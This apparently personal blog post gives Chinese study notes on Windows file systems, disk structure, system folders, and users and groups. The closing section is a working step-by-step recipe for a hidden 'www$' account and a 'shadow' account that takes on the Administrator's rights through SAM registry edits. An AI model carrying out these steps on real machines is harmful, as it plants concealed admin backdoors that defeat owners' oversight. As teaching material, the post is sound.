1791 字
9 分钟
Windows 文件系统、用户和组

Windows文件系统、用户和组#

1 文件系统#

1.1 文件系统介绍#

定义:操作系统用于明确存储设备(磁盘、固态硬盘等)或分区上的文件的方法和数据结构。操作系统中负责管理和存储文件信息的软件机构称为文件管理系统,简称文件系统。(组织文件的方法)
文件系统的功能包括:
管理和调度文件的存储空间,提供文件的逻辑结构、物理结构和存储方法;
实现文件从标识到实际地址的映射,实现文件的控制操作和存取操作等。
  • 文件属性#

文件类型
文件大小
文件的时间
文件的物理位置
  • 文件分类#

按用途分类:系统文件、用户文件、库文件
按数据形式分类:源文件、目标文件、可执行文件
按存储控制属性分类:只执行文件、只读文件、读写文件
按组织和处理分类:普通文件、目录文件、特殊文件

1.2 常见的文件系统#

日志文件系统:NTFS --- Windows特有
FAT 16:只支持单个2GB以下的文件
FAT 32:只支持单个4GB以下的文件
exFAT:专门为闪存设备设计 u盘
Windows 操作系统的文件系统数据存储单元 --- 簇
Linux 操作系统的文件系统数据存储单元 --- 块

1.3 硬盘介绍#

机械、固态

硬盘结构:#

​ 控制电路板

控制电路板由接口、DSP处理器、ROM、缓存等等

​ 盘体

磁盘(盘片)、磁头、盘片电机等等

关键术语#

盘片

1.每个磁盘都不止一个盘片
2.每个盘片都有两个盘面
3.编号自上而下 从0开始

读写磁头

1.每个盘面上一个读写磁头,盘面号即磁头号

磁道

1.每个盘面分成很多个同心圆,同心圆轨迹叫磁道
2.编号从外到内 0
3.每个盘面大约有300-1024磁道

扇区(数据存储)

操作系统是以扇区的形式将信息存储在磁盘上

柱面(数据读写)

所有盘面上同一磁道构成了一个圆柱,通常叫柱面

簇

操作系统将相邻的扇区组合在一起,形成一个簇。每个簇可以包括 2 4 8 16 32 64 扇区

exFAT#

exFAT (Extended File Allocation Table File System,扩展FAT,即扩展文件分配表)
✓ 为了解决FAT32等不支持4G及其更大的文件而推出。是微软专门为闪存设备设计的文件系统,Windows XP SP2、Windows Vista SP 1 及以上系统都支持,分区最大容量大到16EB。
✓ 单文件体积最大16EB,簇尺寸可以达到32MB。
✓ exFAT别名为FAT64,适用范围为大于32GB的U盘、SD卡。设计的目的是在FAT32与NTFS之间取得一个折中,有FAT32的轻便、不需要耗损太多的效能及记忆体来处理文件运作,又有NTFS的AA存取控制机制。
✓ 三大主流操作系统(Linux、 Mac、 Windows) 都支持exFAT格式。

NTFS#

定义:NTFS(New Technology File System),NTFS文件系统是一个基于安全性的文件系统,是Windows NT所采用的独特的文件系统结构。它是建立在保护文件和目录数据基础上,同时照顾节省存储资源、减少磁盘占用量的一种先进的文件系统。提供长文件名、数据保护和恢复,能通过目录和文件许可实现安全性,并支持跨越分区。
共享:
UNC 路径:\\192.168.63.145 ---- IPC管道通信

NTFS和exFAT的区别#

适用范围不同
exFAT:适合于闪存盘(U盘),使用寿命长。
NTFS:适合于磁盘(机械硬盘、固态硬盘),大幅度缩短U盘使用寿命。
支持最大空间不同
exFAT:最大支持16EB。
NTFS:最大支持256TB。
安全性不同
exFAT:微软专为闪存(U盘、存储卡)闪存设备设计的文件系统,兼容性好。
NTFS:安全性和易用性、稳定性好。
使用系统不同
exFAT:Windows、Linux、Mac均可适用。
NTFS:除Windows不可直接使用,需借助第三方软件才可写NTFS文件系统。

访问控制#

权限继承
默认情况下继承父目录权限 --- 取消继承才能够修改文件权限
权限累加
用户组和用户
拒绝优先

2 系统目录#

Programdata是位于电脑系统盘(默认C盘)根目录的一个系统文件夹,它是公用的被创建文件夹或文件存放的地方,多为软件缓存,这些文件夹或文件由程序或管理员用户控制。
打开隐藏可视
1、系统应用程序安装路径(系统应用程序)
Program Files主要存在于系统盘中,属于系统应用程序的安装路径,例如我们熟悉的系统自带的浏览器、驱动程序等都安装在这个路径中。注意:删不得!
2、逻辑分区中的应用程序安装路径(用户自主安装应用程序)
在非系统分区的其他逻辑分区中的Proram Files是用户安装的应用程序使用的路径(文件夹)。当然,不是每个用户都习惯把用户自己安装的应用程序都放在逻辑分区中,也有一股脑都放在系统盘的Program Files中的。
C:\Windows\System32\config\SAM
SAM文件即账号密码数据库文件
lsass.exe --- 是校验账户的进程 通过sam文件校验
winlogon.exe --- 登录框进程
C:\Windows\System32\drivers\etc\hosts
域名解析文件

3 用户和组#

Administrator:管理员账户
Guest:来宾账户,权限非常小,下载的文件保存不了。
计算机服务组件相关的系统账号:
➢ system:系统账户(权限非常高)
➢ local services:本地服务账户(权限等于普通用户)
➢ network services:网络服务账户(权限等于普通用户)
services.msc:打开的窗口就是服务
窗口,每一个服务都需要一个账户来
管理。
users组 --- 默认创建出来的用户都是加入到users组

3.1 创建隐藏用户和影子用户#

隐藏用户#

标识 ---- 用户名结尾有$ ---- 隐藏用户
1.创建一个隐藏用户
net user www$ 123456 /add
2.导出隐藏用户的注册表信息文件
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names --- 用户信息
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users --- 默认类型值信息
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000003EB 导出为1
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\www$ 导出为2
3.删除隐藏用户
net user www$ /del
4.导入隐藏用户的注册表信息文件
先导入1 再 导入 2
5.使用
①打开交互式登录:不显示最后的用户名 启用
secpol.msc --》 本地策略 --》安全选项
②远程连接
net localgroup administrators www$ /add

影子用户#

在隐藏用户的基础上操作
1.导出管理员默认类型值注册表文件为3
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4 --- 》 3
2.将1的F值换成3的F值
3.再导入1和2
4.解禁隐藏用户
net user www$ /active:yes
Windows 文件系统、用户和组
https://wangyi187.top/posts/os-04-windows-fs-users/
作者
WangYi
发布于
2024-07-10
许可协议
CC BY-NC-SA 4.0